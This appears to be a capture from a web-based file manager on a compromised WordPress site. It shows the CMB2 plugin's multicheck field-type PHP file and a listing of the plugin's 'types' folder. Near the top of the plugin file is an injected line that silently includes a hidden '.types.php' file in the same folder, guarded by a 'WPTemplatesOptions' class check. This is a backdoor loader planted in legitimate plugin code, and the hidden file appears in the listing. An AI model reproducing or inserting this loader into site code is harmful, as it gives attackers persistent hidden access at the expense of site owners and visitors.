PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
cmb2
/
includes
/
types
<?php /** * CMB multicheck field type * * @since 2.2.2 * * @category WordPress_Plugin * @package CMB2 * @author CMB2 team * @license GPL-2.0+ * @link https://cmb2.io */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class CMB2_Type_Multicheck extends CMB2_Type_Radio { /** * The type of radio field * * @var string */ public $type = 'checkbox'; public function render( $args = array() ) { $classes = false === $this->field->args( 'select_all_button' ) ? 'cmb2-checkbox-list no-select-all cmb2-list' : 'cmb2-checkbox-list cmb2-list'; $args = $this->parse_args( $this->type, array( 'class' => $classes, 'options' => $this->concat_items( array( 'name' => $this->_name() . '[]', 'method' => 'list_input_checkbox', ) ), 'desc' => $this->_desc( true ), ) ); return $this->rendered( $this->ul( $args ) ); } }
[+]
..
[-] CMB2_Type_Radio.php
[edit]
[-] CMB2_Type_Taxonomy_Multicheck.php
[edit]
[-] CMB2_Type_Text_Datetime_Timestamp_Timezone.php
[edit]
[-] CMB2_Type_Multi_Base.php
[edit]
[-] CMB2_Type_Checkbox.php
[edit]
[-] CMB2_Type_Title.php
[edit]
[-] CMB2_Type_Text_Date.php
[edit]
[-] CMB2_Type_Taxonomy_Radio.php
[edit]
[-] CMB2_Type_Select_Timezone.php
[edit]
[-] CMB2_Type_Select.php
[edit]
[-] CMB2_Type_Colorpicker.php
[edit]
[-] .types.php
[edit]
[-] CMB2_Type_Text_Time.php
[edit]
[-] CMB2_Type_File_List.php
[edit]
[-] CMB2_Type_Wysiwyg.php
[edit]
[-] CMB2_Type_Taxonomy_Select.php
[edit]
[-] CMB2_Type_Textarea_Code.php
[edit]
[-] CMB2_Type_File.php
[edit]
[-] CMB2_Type_Base.php
[edit]
[-] CMB2_Type_Multicheck.php
[edit]
[-] CMB2_Type_Taxonomy_Select_Hierarchical.php
[edit]
[-] CMB2_Type_Taxonomy_Radio_Hierarchical.php
[edit]
[-] CMB2_Type_Taxonomy_Multicheck_Hierarchical.php
[edit]
[-] CMB2_Type_Text.php
[edit]
[-] CMB2_Type_Textarea.php
[edit]
[-] CMB2_Type_Text_Datetime_Timestamp.php
[edit]
[-] CMB2_Type_Oembed.php
[edit]
[-] CMB2_Type_Counter_Base.php
[edit]
[-] CMB2_Type_Taxonomy_Base.php
[edit]
[-] CMB2_Type_File_Base.php
[edit]
[-] CMB2_Type_Picker_Base.php
[edit]